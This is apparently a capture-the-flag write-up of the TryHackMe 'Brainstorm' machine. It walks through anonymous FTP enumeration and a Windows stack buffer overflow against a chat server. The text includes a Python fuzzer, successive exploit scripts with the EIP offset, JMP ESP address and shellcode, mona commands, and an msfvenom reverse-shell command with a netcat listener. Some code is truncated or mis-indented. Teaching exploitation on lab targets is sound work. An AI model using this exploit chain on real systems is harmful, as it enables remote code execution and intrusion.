Brainstorm | Buffer Overflow

Buffer Overflowing our way into a reverse shell. Exploiting the program and forcing it to run our own code. Going through the TryHackMe machine called Brainstorm and perfect for OSCP preparation.

by Johann Van Niekerk

Brainstorm | Buffer Overflow


Brainstorm requires either a Windows host or Virtual Machine with Windows; alternatively running Wine (linux).
Disclaimer: All topics discussed are intended solely for research purposes and not intended or endorsed for illegal activity.

The following is a link for Immunity Debugger Download

Buffer Overflow exploits are not common among more modern programs and the current security climate. It is still important to understand it on a workable level but with the improvement with security in common libraries and dependencies; there has been a significant drop in seeing these type of exploits surfacing.

Brainstorm is an easy box to exploit once you learn the initial 'rhythm' with Buffer Overflow exploitation and this is one of the challenges that is recommended for OSCP preparations. Let's get in to it:

Brainstorm Write up

Tackling Buffer Overflow

Target Network Report

Name of Target:


System Enumeration


21/tcp   open  ftp        Microsoft ftpd
3389/tcp open  tcpwrapped

| rdp-ntlm-info: 
|   Target_Name: BRAINSTORM
|   NetBIOS_Domain_Name: BRAINSTORM
|   NetBIOS_Computer_Name: BRAINSTORM
|   DNS_Domain_Name: brainstorm
|   DNS_Computer_Name: brainstorm
|   Product_Version: 6.1.7601
|_  System_Time: 2022-01-12T03:48:11+00:00

9999/tcp open  abyss?                                                                                                                                                                                                      
| fingerprint-strings:                                                                                                                                                                                                     
|   LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, SIPOptions, SMBProgNeg, TerminalServer, WMSRequest, X11Probe, ms-sql-s, oracle-tns:                                                                  
|     Welcome to Brainstorm chat (beta)                                                                                                                                                                                    
|_    Please enter your username (max 20 characters): Write a message:                                                                                                                                                     
1 service unrecognized despite returning data.

First up to tackle is the initial scans and see what can be uncovered with a quick scan

nmap -sV

The output shows a few ports open. Typically with FTP ports, it is recommended to have a quick look if there is any information to gather from the target. FTP is notoriously a loot chest with Capture The Flag activities however mainly it is also very simple and quick to enumerate; getting it out of the way early is always good.

Port 21

First port is port 21, the File Transfer Protocol, and see if there is any quick wins here. ย Normally with FTP it is easy to test for anonymous login ย by connecting to the protocol using the credentials with no password:

username:anonymous and pass:

Testing the port shows that it is possible to connect and that it allows FTP anonymous login but switches to passive mode immediately and then connection dies. If this happens then follow these initial steps to make it work correctly:

#Anonymous login
    ftp $RHOST
    user: anonymous
    pass: ''
Login Method

While logged in, the box would automatically go to Extended Passive Mode when sent any ls or dir commands to enumerate. Shortly after the connection will be dropped. In order to fix this, It was required to type passive in order to set 'passive mode off' immediately after connecting to the protocol. This allowed access to use the command ls successfully.

After getting this step correct, the following was available on the FTP server:

Switch to binary in order to avoid issues and then extract the files with the following:

#While connected
    binary                     :Switch to binary mode prior to extracting these files to avoid corruption
    get chatserver.exe         :Downloads .exe
    get essfunc.dll            :Downloads .dll

Extract these files and get it onto a windows VM, or a machine that has a functioning Immunity Debugger. When running the chatserver.exe in the VM, it sets up a connection and waits for connection for the chatserver. No further information from the program at this point.

Opening it up with a text client such as vim to see if there is anything there does reveal some information that will be helpful.

What stands out here is the numbers 9999 because there is an open port related to this. It is reasonable to make the assumption that this program sets up a listening connection on port 9999 and then waits for a connection of some sort.

Using Netcat to send some packets; allows the program to be uncovered and what is particularly interesting is that it shows you a limitation. Instinctively consider what happens if when going over that limit?

While the 'write a message' isup, Attempt to pass a bunch of characters to it and see how the program responds.

"A" * 5000

>> AAAAAAAAAAAAAA....snip...........AAAA

Copy/pasting the payload into the username worked fine and nothing happened as the program automatically cut the excess bits away. Next we want to test the message and the connection was immediately dropped/reset

This could be an indication that if we can find the exact point before it breaks, we can control what the program does when it is overloaded and have it execute our own code instead within the buffer.

No further testing here was useful. From here, checking out the other ports seems to be a reasonable path.

Port 3389

Port 3389 is commonly the remote desktop port for the service. It is unusual to being able to exploit remote desktop without credentials. Typically credentials would be required however it is possible to test for null passwords or easy passwords such as administrator:password, admin:root and similar variants. It is infrequent for this to be the access point so don't waste all your time with this. Further enumeration did not find any more information on this port.

Port 9999

This port stood out initially as an unfamiliar port number and when doing a service scan with nmap using -sV, some weird text was received in the headers that hinted at this being a port related to the chat program that was found. Aligned with the findings under port 21. Connecting to this protocol required a simple netcat connection and confirmed suspicions:

nc $RHOST 9999

As confirmed under port 21; once connected the program greets with a welcome message, asking for a username and then the message.

Extracting a local copy of the chatserver.exe and having it available for a windows machine or VM will allow reverse engineering on the program before trying the same on port 9999 against the victim target.

The following steps is the method that was used to proceed to exploit the buffer. Configure the code to suit requirements.

Step 1: Have the program running through Immunity debugger.

    'Load Immunity Debugger as admin'
    'Load the chatserver.exe through Immunity Debugger'

Step 2: Set your working folder where information is saved.

Note: command is run on the terminal inside immunity debugger

!mona config -set workingfolder c:\mona\%p            : Set working directory to be %P (gets replaced with name of .exe so the working folder becomes c:\mona\chatserver)

Step 3: Find the break point for this program using a fuzzer.

The below code is a fuzzer used in order for to find the break point. Note: The program asked for username then prompts for message after. Keeping this in mind for the payload, it requires sending a username first then the exploit.

The Fuzzer Code:

import socket
import time
import sys

ip = ""
port = 9999
timeout = 5
username = "username "
buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = s.connect((ip, port))
        print("Fuzzing with %s bytes" % len(string))
        s.send(string + "\r\n")
        data = s.recv(1024)

        print("Could not connect to " + ip + ":" + str(port))

Running the exploit against the server produces the following outputs:

Successfully crashed at 2100 ย bytes.

Fuzzer Explained

With the breakpoint known, add an non-important amount of characters to this value in order to add some padding. The 2100 ย will become 2400 by adding 300 bytes. The number is not important. Next, create a proper payload by generating a cycle of characters. Instead of the payload being all AAA's, in order to find the breakpoint, it is important to know a reference of characters that might appear there.

Reminder to restart the service with Immunity Debugger and run the program after each crash

Step 4: Breakpoint known, finding specific info where it breaks.

Running the following on the [attacker] machine will generate a payload that will cycle between characters but they are easily distinguishable.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l $CRASHlimit

This is what the code will appear like with the new payload. Running this code will crash the program once more but provide more information.

The Exploit code:

import socket

ip = "" # Change IP to VICTIM ip
port = 9999           # Change to VICTIM PORT

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.connect((ip, port))
  print("Sending evil buffer...")   
  s.send("username " + '\r\n')     #Send username
  s.recv(1024)                     #Wait for data back
  s.send(buffer + "\r\n")          #Send payload
  s.recv(1024)                     #Wait for data back
  print("Could not connect.")

Step 5: Get that EIP Offset!

After successfully crashing the program. The important part is not the crash but the cyclical letters we sent. The breakpoint was somewhere between 2000 to 2100 and in order to find this section; the following instruction is used:

!mona findmsp -distance 2400    :The crash amount with the buffer we had. This command is used on Immunity Debugger console.

Primarily the interest is in the EIP Offset. The payload will require this offset. Next the payload calls for some bad characters. Inherently different programs will have different bad characters based on the language, libraries and so forth used to write the program. These bad chars represent things like backslash \ or pipes and so forth: These are things that could break the payload and requires planning.

Step 6: Setup the bytearray and generate bad chars

Firstly setup a bytearray and exclude the first bad character that will always be \x00

!mona bytearray -b "\x00"

Create the bad chars payload and update the exploit. The following is a script you can run with python to generate the bad chars payload:

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')

This is what the exploit will look like with the bad chars generated from the above code. Running this code will crash the program once more.

The Exploit code is currently:

import socket

ip = "" # Change IP to VICTIM ip
port = 9999

prefix = ""
offset = 2012
overflow = "A" * offset
retn = ""
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send("username " + '\r\n')
  s.send(buffer + "\r\n")
  print("Could not connect.")

Running the following command will compare the bytearray to the ESP and check if there is other bad chars impacting the shellcode.

Step 7: Find bad chars and the JMP address

Running the following command to find bad characters.

!mona compare -f C:\mona\oscp\bytearray.bin -a esp

It appears that only \x00 was a badchar and with this; it is not needed to amend out code any further or remove any more bad chars from our payload.

Finally, the JMP point is the target and the place for the future reverse shell. Running the following will provide the JMP address

!mona jmp -r esp -cpb "\x00"          :If there was more bad characters, this would include additional entries

Be mindful that Immunity Debugger might close the screens. going to the 'Window' chevron and going to the 'Log Data' will bring up the output from the command.

The address 625014df is the target and it is important to confirm that ASLR is False. The address 625014df translates to \x62\x50\x14\xdf and will require to be inverted in order to use with the exploit ; becoming \xdf\x14\x50\x62. This address will go into the exploit under the RETN variable. This inverted action is due to little endian formatting where the bytes are in reverse for the machine code.

The exploit

Additionally the exploit will require the reverse shell code. Generating with msfvenom is ideal. Knowing the architecture of the target is important in understanding if encoding is required on the payload such as x86 or x64 architecture. The following is sufficient in this example but to stress that the architecture encoding is commonly the reason for the exploit not working:

msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT EXITFUNC=thread -b "\x00" -f c
# Reminder that this is the reverse shell and requires your ip/port that you will capture the shell with.

Note: The code is sensitive to formatting so for the final step, note that the payload is wrapped in parenthesis (). Copy the payload from quotation mark to quotation mark as below and paste is in-between parenthesis within the exploit:

In addition to the payload, it is important to add some NOPs, No operations, to the exploit to keep the package a relative size. It's typically recommended for "\x90" * 16 ย or 32 to be added to the padding variable in our code. If the exploit doesn't immediately work then it is always possible to reduce the padding or increase it. Look for other issues with the code and so on prior to playing with the NOPs as it can be more time consuming.

The Exploit code is currently:

import socket

ip = "" # Change IP to VICTIM ip
port = 9999

prefix = ""
offset = 2012
overflow = "A" * offset
retn = "\xdf\x14\x50\x62"
padding = "\x90" * 16
payload = ("\xd9\xc7\xd9\x74\x24\xf4\xb8\x76\xce\x37\xc1\x5e\x31\xc9\xb1"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send("username " + '\r\n')
  s.send(buffer + "\r\n")
  print("Could not connect.")

Now setup the local listener to capture the reverse shell and exploit that program!

nc -lvnp $LPORT

As observed, the code works with a local copy of the executable. Now finishing with testing the buffer overflow locally; it is possible to exploit the target victim.

All the way to the lootbag.

If you wish to practice and following along, head on over to and search for Brainstorm to access this machine.

And finally, if you enjoyed the content and want to see more; I need coffee to stay awake and this is not a bribe. ๐Ÿ‘Œ